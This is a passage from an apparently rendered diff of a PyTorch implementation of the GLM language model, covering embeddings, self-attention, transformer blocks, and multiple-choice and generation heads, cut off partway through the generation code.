183 |
+
# And initialize.
|
184 |
+
init.xavier_normal_(self.weight)
|
185 |
+
|
186 |
+
def forward(self, input_):
|
187 |
+
# Get the embeddings.
|
188 |
+
output = F.embedding(input_, self.weight,
|
189 |
+
self.padding_idx, self.max_norm,
|
190 |
+
self.norm_type, self.scale_grad_by_freq,
|
191 |
+
self.sparse)
|
192 |
+
return output
|
193 |
+
|
194 |
+
|
195 |
+
class PositionalEmbedding(torch.nn.Module):
|
196 |
+
|
197 |
+
def __init__(self, hidden_size):
|
198 |
+
super(PositionalEmbedding, self).__init__()
|
199 |
+
|
200 |
+
self.hidden_size = hidden_size
|
201 |
+
|
202 |
+
inv_freq = 1 / (10000 ** (torch.arange(0.0, hidden_size, 2.0) / hidden_size))
|
203 |
+
self.register_buffer('inv_freq', inv_freq)
|
204 |
+
|
205 |
+
def forward(self, pos_seq, bsz=None):
|
206 |
+
sinusoid_inp = torch.ger(pos_seq, self.inv_freq)
|
207 |
+
pos_emb = torch.cat([sinusoid_inp.sin(), sinusoid_inp.cos()], dim=-1)
|
208 |
+
|
209 |
+
if bsz is not None:
|
210 |
+
return pos_emb[None, :, :].expand(bsz, -1, -1)
|
211 |
+
else:
|
212 |
+
return pos_emb[None, :, :]
|
213 |
+
|
214 |
+
|
215 |
+
class SelfAttention(torch.nn.Module):
|
216 |
+
"""self-attention layer for GLM.
|
217 |
+
|
218 |
+
Self-attention layer takes input with size [b, s, h] where b is
|
219 |
+
the batch size, s is the sequence lenght, and h is the hidden size
|
220 |
+
and creates output of the same size.
|
221 |
+
Arguments:
|
222 |
+
hidden_size: total hidden size of the layer (h).
|
223 |
+
num_attention_heads: number of attention heads (n). Note that we
|
224 |
+
require n to be divisible by number of GPUs
|
225 |
+
used to parallelize the model. Also, we
|
226 |
+
require hidden size to be divisible by n.
|
227 |
+
attention_dropout_prob: dropout probability for the attention scores.
|
228 |
+
init_method: weight initialization.
|
229 |
+
output_layer_init_method: output layer initialization. If None, use
|
230 |
+
`init_method`.
|
231 |
+
We use the following notation:
|
232 |
+
h: hidden_size
|
233 |
+
n: num_attention_heads
|
234 |
+
p: number of partitions
|
235 |
+
np: n/p
|
236 |
+
hp: h/p
|
237 |
+
hn: h/n
|
238 |
+
b: batch size
|
239 |
+
s: sequence length
|
240 |
+
"""
|
241 |
+
|
242 |
+
def __init__(self, hidden_size, num_attention_heads,
|
243 |
+
attention_dropout_prob, output_dropout_prob,
|
244 |
+
init_method, output_layer_init_method=None,
|
245 |
+
attention_scale=1.0):
|
246 |
+
super(SelfAttention, self).__init__()
|
247 |
+
# Set output layer initialization if not provided.
|
248 |
+
if output_layer_init_method is None:
|
249 |
+
output_layer_init_method = init_method
|
250 |
+
# Per attention head and per partition values.
|
251 |
+
self.hidden_size = hidden_size
|
252 |
+
self.hidden_size_per_attention_head = divide(hidden_size,
|
253 |
+
num_attention_heads)
|
254 |
+
|
255 |
+
self.num_attention_heads = num_attention_heads
|
256 |
+
self.attention_scale = attention_scale
|
257 |
+
# Strided linear layer.
|
258 |
+
self.query_key_value = Linear(hidden_size, 3 * hidden_size)
|
259 |
+
|
260 |
+
# Dropout. Note that for a single iteration, this layer will generate
|
261 |
+
# different outputs on different number of parallel partitions but
|
262 |
+
# on average it should not be partition dependent.
|
263 |
+
self.attention_dropout = torch.nn.Dropout(attention_dropout_prob)
|
264 |
+
|
265 |
+
# Output.
|
266 |
+
self.dense = Linear(hidden_size,
|
267 |
+
hidden_size)
|
268 |
+
self.output_dropout = torch.nn.Dropout(output_dropout_prob)
|
269 |
+
|
270 |
+
def _transpose_for_scores(self, tensor):
|
271 |
+
"""Transpose a 3D tensor [b, s, np*hn] into a 4D tensor with
|
272 |
+
size [b, np, s, hn].
|
273 |
+
"""
|
274 |
+
new_tensor_shape = tensor.size()[:-1] + \
|
275 |
+
(self.num_attention_heads,
|
276 |
+
self.hidden_size_per_attention_head)
|
277 |
+
tensor = tensor.view(*new_tensor_shape)
|
278 |
+
return tensor.permute(0, 2, 1, 3)
|
279 |
+
|
280 |
+
def forward(self, hidden_states, ltor_mask, mem=None):
|
281 |
+
# hidden_states: [b, s, h]
|
282 |
+
# ltor_mask: [b,1,s,s]
|
283 |
+
|
284 |
+
# Attention heads. [b, s, hp]
|
285 |
+
query_length = hidden_states.size(1)
|
286 |
+
# self attention
|
287 |
+
if mem is None:
|
288 |
+
mixed_x_layer = self.query_key_value(hidden_states)
|
289 |
+
(mixed_query_layer,
|
290 |
+
mixed_key_layer,
|
291 |
+
mixed_value_layer) = split_tensor_along_last_dim(mixed_x_layer, 3)
|
292 |
+
else:
|
293 |
+
cat = torch.cat((mem, hidden_states), 1)
|
294 |
+
mixed_x_layer = self.query_key_value(cat)
|
295 |
+
(mixed_query_layer,
|
296 |
+
mixed_key_layer,
|
297 |
+
mixed_value_layer) = split_tensor_along_last_dim(mixed_x_layer, 3)
|
298 |
+
mixed_query_layer = mixed_query_layer[:, -query_length:]
|
299 |
+
|
300 |
+
# Reshape and transpose [b, np, s, hn]
|
301 |
+
query_layer = self._transpose_for_scores(mixed_query_layer)
|
302 |
+
key_layer = self._transpose_for_scores(mixed_key_layer)
|
303 |
+
value_layer = self._transpose_for_scores(mixed_value_layer)
|
304 |
+
|
305 |
+
if self.attention_scale > 1.0:
|
306 |
+
# Raw attention scores. [b, np, s, s]
|
307 |
+
attention_scores = torch.matmul(query_layer / math.sqrt(self.attention_scale),
|
308 |
+
key_layer.transpose(-1, -2) / math.sqrt(
|
309 |
+
self.hidden_size_per_attention_head * self.attention_scale))
|
310 |
+
else:
|
311 |
+
attention_scores = torch.matmul(query_layer, key_layer.transpose(-1, -2) / math.sqrt(
|
312 |
+
self.hidden_size_per_attention_head))
|
313 |
+
|
314 |
+
# Apply the left to right attention mask.
|
315 |
+
ltor_mask = ltor_mask.type_as(attention_scores)
|
316 |
+
attention_scores = torch.mul(attention_scores, ltor_mask)
|
317 |
+
if self.attention_scale > 1.0:
|
318 |
+
max_attention_scores = attention_scores.max(dim=-1, keepdim=True)[0]
|
319 |
+
attention_scores -= max_attention_scores
|
320 |
+
attention_scores *= self.attention_scale
|
321 |
+
|
322 |
+
attention_scores = attention_scores + (-65504.0) * (1.0 - ltor_mask)
|
323 |
+
# Attention probabilities. [b, np, s, s]
|
324 |
+
attention_probs = torch.nn.Softmax(dim=-1)(attention_scores)
|
325 |
+
# This is actually dropping out entire tokens to attend to, which might
|
326 |
+
# seem a bit unusual, but is taken from the original Transformer paper.
|
327 |
+
# with get_cuda_rng_tracker().fork():
|
328 |
+
attention_probs = self.attention_dropout(attention_probs)
|
329 |
+
|
330 |
+
# Context layer.
|
331 |
+
# [b, np, s, hn]
|
332 |
+
context_layer = torch.matmul(attention_probs, value_layer)
|
333 |
+
# [b, s, np, hn]
|
334 |
+
context_layer = context_layer.permute(0, 2, 1, 3).contiguous()
|
335 |
+
new_context_layer_shape = context_layer.size()[:-2] + \
|
336 |
+
(self.hidden_size,)
|
337 |
+
# [b, s, hp]
|
338 |
+
context_layer = context_layer.view(*new_context_layer_shape)
|
339 |
+
|
340 |
+
# Output. [b, s, h]
|
341 |
+
output = self.dense(context_layer)
|
342 |
+
output = self.output_dropout(output)
|
343 |
+
|
344 |
+
return output
|
345 |
+
|
346 |
+
|
347 |
+
class GLMBlock(torch.nn.Module):
|
348 |
+
"""A single layer transformer for GLM.
|
349 |
+
|
350 |
+
We use the following notation:
|
351 |
+
h: hidden size
|
352 |
+
n: number of attention heads
|
353 |
+
b: batch size
|
354 |
+
s: sequence length
|
355 |
+
Transformore layer takes input with size [b, s, h] and returns an
|
356 |
+
output of the same size.
|
357 |
+
|
358 |
+
Arguments:
|
359 |
+
hidden_size: The hidden size of the self attention.
|
360 |
+
num_attention_heads: number of attention head in the self
|
361 |
+
attention.
|
362 |
+
attention_dropout_prob: dropout probability of the attention
|
363 |
+
score in self attention.
|
364 |
+
output_dropout_prob: dropout probability for the outputs
|
365 |
+
after self attention and final output.
|
366 |
+
layernorm_epsilon: epsilon used in layernorm to avoid
|
367 |
+
division by zero.
|
368 |
+
init_method: initialization method used for the weights. Note
|
369 |
+
that all biases are initialized to zero and
|
370 |
+
layernorm weight are initialized to one.
|
371 |
+
output_layer_init_method: output layers (attention output and
|
372 |
+
mlp output) initialization. If None,
|
373 |
+
use `init_method`.
|
374 |
+
"""
|
375 |
+
|
376 |
+
def __init__(self,
|
377 |
+
hidden_size,
|
378 |
+
num_attention_heads,
|
379 |
+
attention_dropout_prob,
|
380 |
+
output_dropout_prob,
|
381 |
+
layernorm_epsilon,
|
382 |
+
init_method,
|
383 |
+
output_layer_init_method=None,
|
384 |
+
attention_scale=1.0):
|
385 |
+
super(GLMBlock, self).__init__()
|
386 |
+
# Set output layer initialization if not provided.
|
387 |
+
if output_layer_init_method is None:
|
388 |
+
output_layer_init_method = init_method
|
389 |
+
|
390 |
+
# Layernorm on the input data.
|
391 |
+
self.input_layernorm = LayerNorm(hidden_size, eps=layernorm_epsilon)
|
392 |
+
|
393 |
+
# Self attention.
|
394 |
+
self.attention = SelfAttention(
|
395 |
+
hidden_size,
|
396 |
+
num_attention_heads,
|
397 |
+
attention_dropout_prob,
|
398 |
+
output_dropout_prob,
|
399 |
+
init_method,
|
400 |
+
output_layer_init_method=output_layer_init_method,
|
401 |
+
attention_scale=attention_scale)
|
402 |
+
|
403 |
+
# Layernorm on the input data.
|
404 |
+
self.post_attention_layernorm = LayerNorm(hidden_size,
|
405 |
+
eps=layernorm_epsilon)
|
406 |
+
|
407 |
+
# MLP
|
408 |
+
self.mlp = MLP(
|
409 |
+
hidden_size,
|
410 |
+
output_dropout_prob,
|
411 |
+
init_method,
|
412 |
+
output_layer_init_method=output_layer_init_method)
|
413 |
+
|
414 |
+
def forward(self, hidden_states, ltor_mask, mem=None):
|
415 |
+
# hidden_states: [b, s, h]
|
416 |
+
# ltor_mask: [b,1, s,s]
|
417 |
+
|
418 |
+
# Layer norm at the begining of the transformer layer.
|
419 |
+
layernorm_output = self.input_layernorm(hidden_states)
|
420 |
+
mem = self.input_layernorm(mem) if mem is not None else None
|
421 |
+
# Self attention.
|
422 |
+
attention_output = self.attention(layernorm_output, ltor_mask, mem)
|
423 |
+
# Residual connection.
|
424 |
+
layernorm_input = hidden_states + attention_output
|
425 |
+
# Layer norm post the self attention.
|
426 |
+
layernorm_output = self.post_attention_layernorm(layernorm_input)
|
427 |
+
# MLP.
|
428 |
+
mlp_output = self.mlp(layernorm_output)
|
429 |
+
# Second residual connection.
|
430 |
+
output = layernorm_input + mlp_output
|
431 |
+
|
432 |
+
return output
|
433 |
+
|
434 |
+
|
435 |
+
class GLMStack(torch.nn.Module):
|
436 |
+
"""GLM transformer.
|
437 |
+
|
438 |
+
This module takes input from embedding layer and it's output can
|
439 |
+
be used directly by a logit layer. It consists of L (num-layers)
|
440 |
+
blocks of:
|
441 |
+
layer norm
|
442 |
+
self attention
|
443 |
+
residual connection
|
444 |
+
layer norm
|
445 |
+
mlp
|
446 |
+
residual connection
|
447 |
+
followed by a final layer norm.
|
448 |
+
|
449 |
+
Arguments:
|
450 |
+
num_layers: Number of transformer layers.
|
451 |
+
hidden_size: The hidden size of the self attention.
|
452 |
+
num_attention_heads: number of attention head in the self
|
453 |
+
attention.
|
454 |
+
attention_dropout_prob: dropout probability of the attention
|
455 |
+
score in self attention.
|
456 |
+
output_dropout_prob: dropout probability for the outputs
|
457 |
+
after self attention and final output.
|
458 |
+
checkpoint_activations: if True, checkpoint activations.
|
459 |
+
checkpoint_num_layers: number of layers to checkpoint. This
|
460 |
+
is basically the chunk size in checkpoitning.
|
461 |
+
layernorm_epsilon: epsilon used in layernorm to avoid
|
462 |
+
division by zero.
|
463 |
+
init_method_std: standard deviation of the init method which has
|
464 |
+
the form N(0, std).
|
465 |
+
use_scaled_init_for_output_weights: If Ture use 1/sqrt(2*num_layers)
|
466 |
+
scaling for the output weights (
|
467 |
+
output of self attention and mlp).
|
468 |
+
"""
|
469 |
+
|
470 |
+
def __init__(self,
|
471 |
+
num_layers,
|
472 |
+
hidden_size,
|
473 |
+
num_attention_heads,
|
474 |
+
max_sequence_length,
|
475 |
+
embedding_dropout_prob,
|
476 |
+
attention_dropout_prob,
|
477 |
+
output_dropout_prob,
|
478 |
+
checkpoint_activations,
|
479 |
+
checkpoint_num_layers=1,
|
480 |
+
layernorm_epsilon=1.0e-5,
|
481 |
+
init_method_std=0.02,
|
482 |
+
use_scaled_init_for_output_weights=True,
|
483 |
+
block_position_encoding=False,
|
484 |
+
attention_scale=1.0,
|
485 |
+
):
|
486 |
+
super(GLMStack, self).__init__()
|
487 |
+
self.hidden_size = hidden_size
|
488 |
+
# Store activation checkpoiting flag.
|
489 |
+
self.checkpoint_activations = checkpoint_activations
|
490 |
+
self.checkpoint_num_layers = checkpoint_num_layers
|
491 |
+
|
492 |
+
output_layer_init_method = None
|
493 |
+
if use_scaled_init_for_output_weights:
|
494 |
+
output_layer_init_method = scaled_init_method(0.0, init_method_std,
|
495 |
+
num_layers)
|
496 |
+
# Embeddings dropout
|
497 |
+
self.embedding_dropout = torch.nn.Dropout(embedding_dropout_prob)
|
498 |
+
self.block_position_encoding = block_position_encoding
|
499 |
+
|
500 |
+
# Position embedding (serial).
|
501 |
+
if block_position_encoding:
|
502 |
+
self.position_embeddings = torch.nn.Embedding(max_sequence_length + 1, hidden_size)
|
503 |
+
self.block_position_embeddings = torch.nn.Embedding(max_sequence_length + 1, hidden_size)
|
504 |
+
torch.nn.init.normal_(self.block_position_embeddings.weight, mean=0.0, std=init_method_std)
|
505 |
+
else:
|
506 |
+
self.position_embeddings = torch.nn.Embedding(max_sequence_length, hidden_size)
|
507 |
+
# Initialize the position embeddings.
|
508 |
+
torch.nn.init.normal_(self.position_embeddings.weight, mean=0.0, std=init_method_std)
|
509 |
+
|
510 |
+
def get_layer():
|
511 |
+
|
512 |
+
return GLMBlock(
|
513 |
+
hidden_size,
|
514 |
+
num_attention_heads,
|
515 |
+
attention_dropout_prob,
|
516 |
+
output_dropout_prob,
|
517 |
+
layernorm_epsilon,
|
518 |
+
unscaled_init_method(init_method_std),
|
519 |
+
output_layer_init_method=output_layer_init_method,
|
520 |
+
attention_scale=attention_scale)
|
521 |
+
|
522 |
+
# Transformer layers.
|
523 |
+
self.layers = torch.nn.ModuleList(
|
524 |
+
[get_layer() for _ in range(num_layers)])
|
525 |
+
|
526 |
+
# Final layer norm before output.
|
527 |
+
self.final_layernorm = LayerNorm(hidden_size, eps=layernorm_epsilon)
|
528 |
+
|
529 |
+
def forward(self, hidden_states, position_ids, attention_mask, memory_states=None):
|
530 |
+
|
531 |
+
batch_size, query_length = hidden_states.size()[:2]
|
532 |
+
memory_length = memory_states[0].size(1) if memory_states else 0
|
533 |
+
# attention mask is the beginning postion of B region, \in [0, query_len)
|
534 |
+
is_scalar = torch.numel(attention_mask) == 1
|
535 |
+
is_sep = is_scalar or torch.numel(attention_mask) == batch_size
|
536 |
+
if is_sep:
|
537 |
+
sep = attention_mask.item() if is_scalar else attention_mask
|
538 |
+
|
539 |
+
# conventional transformer
|
540 |
+
def build_mask_matrix(seq_length, sep, memory_length=0):
|
541 |
+
m = hidden_states.new_ones((1, seq_length, seq_length))
|
542 |
+
m = torch.tril(m)
|
543 |
+
if is_scalar:
|
544 |
+
m[0, :, :int(sep)] = 1
|
545 |
+
else:
|
546 |
+
m = m.expand(batch_size, -1, -1)
|
547 |
+
ids = torch.arange(seq_length, device=sep.device, dtype=sep.dtype).view(1, -1)
|
548 |
+
mask = ids < sep.view(-1, 1)
|
549 |
+
m = m.masked_fill(mask.unsqueeze(1).expand_as(m), 1)
|
550 |
+
if memory_length > 0:
|
551 |
+
m = m.expand(batch_size, -1, -1)
|
552 |
+
m = torch.cat((hidden_states.new_ones((batch_size, seq_length, memory_length)), m), dim=2)
|
553 |
+
m = m.unsqueeze(1)
|
554 |
+
return m
|
555 |
+
|
556 |
+
attention_mask = build_mask_matrix(query_length, sep, memory_length=memory_length)
|
557 |
+
else:
|
558 |
+
if attention_mask.dim() == 2:
|
559 |
+
attention_mask = attention_mask.unsqueeze(1).unsqueeze(1)
|
560 |
+
attention_mask = attention_mask[:, :, :, -query_length - memory_length:]
|
561 |
+
|
562 |
+
if self.block_position_encoding:
|
563 |
+
position_ids, block_position_ids = position_ids[:, 0], position_ids[:, 1]
|
564 |
+
position_embeddings = self.position_embeddings(position_ids)
|
565 |
+
|
566 |
+
hidden_states = hidden_states + position_embeddings
|
567 |
+
if self.block_position_encoding:
|
568 |
+
block_position_embeddings = self.block_position_embeddings(block_position_ids)
|
569 |
+
hidden_states = hidden_states + block_position_embeddings
|
570 |
+
hidden_states = self.embedding_dropout(hidden_states)
|
571 |
+
|
572 |
+
def check_detach(_hidden_states):
|
573 |
+
return _hidden_states.detach()
|
574 |
+
|
575 |
+
mem_layers = [check_detach(hidden_states)]
|
576 |
+
|
577 |
+
for i, layer in enumerate(self.layers):
|
578 |
+
|
579 |
+
args = [hidden_states, attention_mask]
|
580 |
+
|
581 |
+
def create_custom_forward(module):
|
582 |
+
def custom_forward(*inputs):
|
583 |
+
# None for past_key_value
|
584 |
+
return module(*inputs)
|
585 |
+
|
586 |
+
return custom_forward
|
587 |
+
|
588 |
+
mem_i = memory_states[i] if memory_states else None
|
589 |
+
|
590 |
+
if self.checkpoint_activations:
|
591 |
+
hidden_states = torch.utils.checkpoint.checkpoint(
|
592 |
+
create_custom_forward(layer),
|
593 |
+
hidden_states,
|
594 |
+
mem=mem_i,
|
595 |
+
)
|
596 |
+
else:
|
597 |
+
hidden_states = layer(*args, mem=mem_i)
|
598 |
+
mem_layers.append(check_detach(hidden_states))
|
599 |
+
|
600 |
+
# Final layer norm.
|
601 |
+
output = self.final_layernorm(hidden_states)
|
602 |
+
mem_layers = self.update_mems(mem_layers, memory_states)
|
603 |
+
return (output, mem_layers)
|
604 |
+
|
605 |
+
def update_mems(self, hiddens, mems):
|
606 |
+
memory_length = mems[0].size(1) if mems else 0
|
607 |
+
query_length = hiddens[0].size(1)
|
608 |
+
new_memory_length = memory_length + query_length
|
609 |
+
|
610 |
+
new_mems = []
|
611 |
+
# with torch.no_grad():
|
612 |
+
for i in range(len(hiddens)):
|
613 |
+
if new_memory_length <= query_length:
|
614 |
+
new_mems.append(hiddens[i][:, -new_memory_length:])
|
615 |
+
else:
|
616 |
+
new_mems.append(torch.cat((mems[i][:, -new_memory_length + query_length:], hiddens[i]), dim=1))
|
617 |
+
return new_mems
|
618 |
+
|
619 |
+
|
620 |
+
class GLMPreTrainedModel(PreTrainedModel):
|
621 |
+
"""
|
622 |
+
An abstract class to handle weights initialization and
|
623 |
+
a simple interface for downloading and loading pretrained models.
|
624 |
+
"""
|
625 |
+
|
626 |
+
config_class = GLMConfig
|
627 |
+
base_model_prefix = "glm"
|
628 |
+
supports_gradient_checkpointing = True
|
629 |
+
_keys_to_ignore_on_load_missing = [r"position_ids"]
|
630 |
+
|
631 |
+
def _init_weights(self, module):
|
632 |
+
""" Initialize the weights """
|
633 |
+
if isinstance(module, torch.nn.Linear):
|
634 |
+
# Slightly different from the TF version which uses truncated_normal for initialization
|
635 |
+
# cf https://github.com/pytorch/pytorch/pull/5617
|
636 |
+
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
|
637 |
+
if module.bias is not None:
|
638 |
+
module.bias.data.zero_()
|
639 |
+
elif isinstance(module, torch.nn.Embedding):
|
640 |
+
module.weight.data.normal_(mean=0.0, std=self.config.initializer_range)
|
641 |
+
if module.padding_idx is not None:
|
642 |
+
module.weight.data[module.padding_idx].zero_()
|
643 |
+
elif isinstance(module, torch.nn.LayerNorm):
|
644 |
+
module.bias.data.zero_()
|
645 |
+
module.weight.data.fill_(1.0)
|
646 |
+
|
647 |
+
def _set_gradient_checkpointing(self, module, value=False):
|
648 |
+
if isinstance(module, GLMModel):
|
649 |
+
module.gradient_checkpointing = value
|
650 |
+
|
651 |
+
|
652 |
+
GLM_START_DOCSTRING = r"""
|
653 |
+
This model is a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) sub-class.
|
654 |
+
Use it as a regular PyTorch Module and refer to the PyTorch documentation for all matter related to general
|
655 |
+
usage and behavior.
|
656 |
+
|
657 |
+
Parameters:
|
658 |
+
config ([`~GLMConfig`]): Model configuration class with all the parameters of the model.
|
659 |
+
Initializing with a config file does not load the weights associated with the model, only the configuration.
|
660 |
+
Check out the [`~PreTrainedModel.from_pretrained`] method to load the model weights.
|
661 |
+
"""
|
662 |
+
|
663 |
+
GLM_INPUTS_DOCSTRING = r"""
|
664 |
+
Args:
|
665 |
+
input_ids (`torch.LongTensor` of shape `({0})`):
|
666 |
+
Indices of input sequence tokens in the vocabulary.
|
667 |
+
|
668 |
+
Indices can be obtained using [`GLMTokenizer`].
|
669 |
+
See [`PreTrainedTokenizer.encode`] and
|
670 |
+
[`PreTrainedTokenizer.__call__`] for details.
|
671 |
+
|
672 |
+
[What are input IDs?](../glossary#input-ids)
|
673 |
+
attention_mask (`torch.FloatTensor` of shape `({0})`, *optional*):
|
674 |
+
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
|
675 |
+
|
676 |
+
- 1 for tokens that are **not masked**,
|
677 |
+
- 0 for tokens that are **masked**.
|
678 |
+
|
679 |
+
[What are attention masks?](../glossary#attention-mask)
|
680 |
+
token_type_ids (`torch.LongTensor` of shape `({0})`, *optional*):
|
681 |
+
Segment token indices to indicate first and second portions of the inputs. Indices are selected in `[0, 1]`:
|
682 |
+
|
683 |
+
- 0 corresponds to a *sentence A* token,
|
684 |
+
- 1 corresponds to a *sentence B* token.
|
685 |
+
|
686 |
+
[What are token type IDs?](../glossary#token-type-ids)
|
687 |
+
position_ids (`torch.LongTensor` of shape `({0})`, *optional*):
|
688 |
+
Indices of positions of each input sequence tokens in the position embeddings.
|
689 |
+
Selected in the range `[0, config.max_position_embeddings - 1]`.
|
690 |
+
|
691 |
+
[What are position IDs?](../glossary#position-ids)
|
692 |
+
head_mask (`torch.FloatTensor` of shape `(num_heads,)` or `(num_layers, num_heads)`, *optional*):
|
693 |
+
Mask to nullify selected heads of the self-attention modules. Mask values selected in `[0, 1]`:
|
694 |
+
|
695 |
+
- 1 indicates the head is **not masked**,
|
696 |
+
- 0 indicates the head is **masked**.
|
697 |
+
|
698 |
+
inputs_embeds (`torch.FloatTensor` of shape `({0}, hidden_size)`, *optional*):
|
699 |
+
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
|
700 |
+
This is useful if you want more control over how to convert *input_ids* indices into associated vectors
|
701 |
+
than the model's internal embedding lookup matrix.
|
702 |
+
output_attentions (`bool`, *optional*):
|
703 |
+
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
|
704 |
+
tensors for more detail.
|
705 |
+
output_hidden_states (`bool`, *optional*):
|
706 |
+
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
|
707 |
+
more detail.
|
708 |
+
return_dict (`bool`, *optional*):
|
709 |
+
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
|
710 |
+
"""
|
711 |
+
|
712 |
+
|
713 |
+
@add_start_docstrings(
|
714 |
+
"The bare GLM Model transformer outputting raw hidden-states without any specific head on top.",
|
715 |
+
GLM_START_DOCSTRING,
|
716 |
+
)
|
717 |
+
class GLMModel(GLMPreTrainedModel):
|
718 |
+
"""
|
719 |
+
|
720 |
+
The model can behave as an encoder (with only self-attention) as well
|
721 |
+
as a decoder, in which case a layer of cross-attention is added between
|
722 |
+
the self-attention layers, following the architecture described in [Attention is
|
723 |
+
all you need](https://arxiv.org/abs/1706.03762) by Ashish Vaswani,
|
724 |
+
Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones, Aidan N. Gomez, Lukasz Kaiser and Illia Polosukhin.
|
725 |
+
|
726 |
+
To behave as an decoder the model needs to be initialized with the
|
727 |
+
`is_decoder` argument of the configuration set to `True`.
|
728 |
+
To be used in a Seq2Seq model, the model needs to initialized with both `is_decoder`
|
729 |
+
argument and `add_cross_attention` set to `True`; an
|
730 |
+
`encoder_hidden_states` is then expected as an input to the forward pass.
|
731 |
+
"""
|
732 |
+
|
733 |
+
def __init__(self, config):
|
734 |
+
super().__init__(config)
|
735 |
+
self.config = config
|
736 |
+
self.output_predict = config.output_predict
|
737 |
+
# Word embeddings (parallel).
|
738 |
+
self.word_embeddings = VocabEmbedding(config)
|
739 |
+
|
740 |
+
# Transformer
|
741 |
+
self.transformer = GLMStack(config.num_layers,
|
742 |
+
config.hidden_size,
|
743 |
+
config.num_attention_heads,
|
744 |
+
config.max_sequence_length,
|
745 |
+
config.embedding_dropout_prob,
|
746 |
+
config.attention_dropout_prob,
|
747 |
+
config.output_dropout_prob,
|
748 |
+
config.checkpoint_activations,
|
749 |
+
config.checkpoint_num_layers,
|
750 |
+
attention_scale=config.attention_scale,
|
751 |
+
block_position_encoding=config.block_position_encoding)
|
752 |
+
|
753 |
+
# Initialize weights and apply final processing
|
754 |
+
self.post_init()
|
755 |
+
|
756 |
+
@add_start_docstrings_to_model_forward(GLM_INPUTS_DOCSTRING.format("batch_size, sequence_length"))
|
757 |
+
@add_code_sample_docstrings(
|
758 |
+
processor_class=_TOKENIZER_FOR_DOC,
|
759 |
+
checkpoint=_CHECKPOINT_FOR_DOC,
|
760 |
+
output_type=BaseModelOutputWithPastAndCrossAttentions,
|
761 |
+
config_class=_CONFIG_FOR_DOC,
|
762 |
+
)
|
763 |
+
def forward(
|
764 |
+
self,
|
765 |
+
input_ids=None,
|
766 |
+
position_ids=None,
|
767 |
+
attention_mask=None,
|
768 |
+
mems=None,
|
769 |
+
**kwargs
|
770 |
+
):
|
771 |
+
batch_size = input_ids.size(0)
|
772 |
+
words_embeddings = self.word_embeddings(input_ids)
|
773 |
+
embeddings = words_embeddings
|
774 |
+
|
775 |
+
device = input_ids.device
|
776 |
+
input_shape = input_ids.size()
|
777 |
+
|
778 |
+
if position_ids is None:
|
779 |
+
position_ids = torch.arange(0, input_shape[-1], dtype=torch.long, device=device)
|
780 |
+
block_position_ids = torch.zeros(input_shape[-1], dtype=torch.long, device=device)
|
781 |
+
position_ids = torch.stack((position_ids, block_position_ids), dim=0).unsqueeze(0)
|
782 |
+
if attention_mask is None:
|
783 |
+
attention_mask = torch.zeros(batch_size)
|
784 |
+
# Transformer.
|
785 |
+
transformer_output = self.transformer(embeddings, position_ids, attention_mask, mems)
|
786 |
+
last_hidden_states, mems = transformer_output
|
787 |
+
logits = None
|
788 |
+
if self.output_predict:
|
789 |
+
logits = F.linear(last_hidden_states, self.word_embeddings.weight)
|
790 |
+
|
791 |
+
return ModelOutput(
|
792 |
+
last_hidden_states=last_hidden_states,
|
793 |
+
logits=logits,
|
794 |
+
mems=mems,
|
795 |
+
)
|
796 |
+
|
797 |
+
|
798 |
+
@add_start_docstrings(
|
799 |
+
"""GLM Model transformer for multiple choice classification""",
|
800 |
+
GLM_START_DOCSTRING
|
801 |
+
)
|
802 |
+
class GLMForMultipleChoice(GLMPreTrainedModel):
|
803 |
+
def __init__(self, config):
|
804 |
+
super().__init__(config)
|
805 |
+
self.glm = GLMModel(config)
|
806 |
+
self.post_init()
|
807 |
+
|
808 |
+
def forward(
|
809 |
+
self,
|
810 |
+
input_ids=None,
|
811 |
+
position_ids=None,
|
812 |
+
attention_mask=None,
|
813 |
+
choice_ids=None,
|
814 |
+
choice_indices=None,
|
815 |
+
labels=None,
|
816 |
+
mems=None,
|
817 |
+
**kwargs
|
818 |
+
):
|
819 |
+
model_output = self.glm(input_ids, position_ids, attention_mask, mems=mems, **kwargs)
|
820 |
+
lm_logits = model_output.logits
|
821 |
+
log_probs = []
|
822 |
+
for output, choices, choice_index in zip(F.log_softmax(lm_logits, dim=-1), choice_ids, choice_indices):
|
823 |
+
log_probs_single = []
|
824 |
+
for choice, choice_target_id in zip(choices, choice_index):
|
825 |
+
tmp = output[choice_target_id, choice]
|
826 |
+
log_probs_single.append(tmp.sum())
|
827 |
+
log_probs.append(torch.stack(log_probs_single))
|
828 |
+
log_probs = torch.stack(log_probs)
|
829 |
+
loss = None
|
830 |
+
if labels is not None:
|
831 |
+
loss_fct = CrossEntropyLoss()
|
832 |
+
loss = loss_fct(log_probs, labels)
|
833 |
+
return ModelOutput(
|
834 |
+
loss=loss,
|
835 |
+
logits=log_probs,
|
836 |
+
lm_logits=lm_logits,
|
837 |
+
mems=model_output.mems
|
838 |
+
)
|
839 |
+
|
840 |
+
@add_start_docstrings(
|
841 |
+
"""GLM Model transformer with a `language modeling` head on top""",
|
842 |
+
GLM_START_DOCSTRING,
|
843 |
+
)
|
844 |
+
class GLMForConditionalGeneration(GLMPreTrainedModel):
|
845 |
+
def __init__(self, config):
|
846 |
+
super().__init__(config)
|
847 |
+
self.glm = GLMModel(config)
|
848 |
+
self.post_init()
|
849 |
+
|
850 |
+
def _reorder_cache(self, past, beam_idx):
|
851 |
+
# if decoder past is not included in output
|
852 |
+
# speedy decoding is disabled and no need to reorder
|
853 |
+
if past is None:
|
854 |
+
return past
|
855 |
+
reordered_decoder_past = ()
|
856 |
+
for layer_past_states in past:
|
857 |
+
# get the correct batch idx from layer past batch dim
|
858 |
+
reordered_decoder_past = reordered_decoder_past + (
|
859 |
+
layer_past_states.index_select(0, beam_idx.to(layer_past_states.device)),)
|
860 |
+
return reordered_decoder_past
|
861 |
+
|
862 |
+
def prepare_inputs_for_generation(self, input_ids, past=None, position_ids=None, generation_attention_mask=None,
|
863 |
+
**kwargs):
|
864 |
+
# only last token for inputs_ids if past is defined in kwargs
|
865 |
+
attention_mask = generation_attention_mask
|
866 |
+
seq_length = input_ids.shape[1]
|
867 |
+
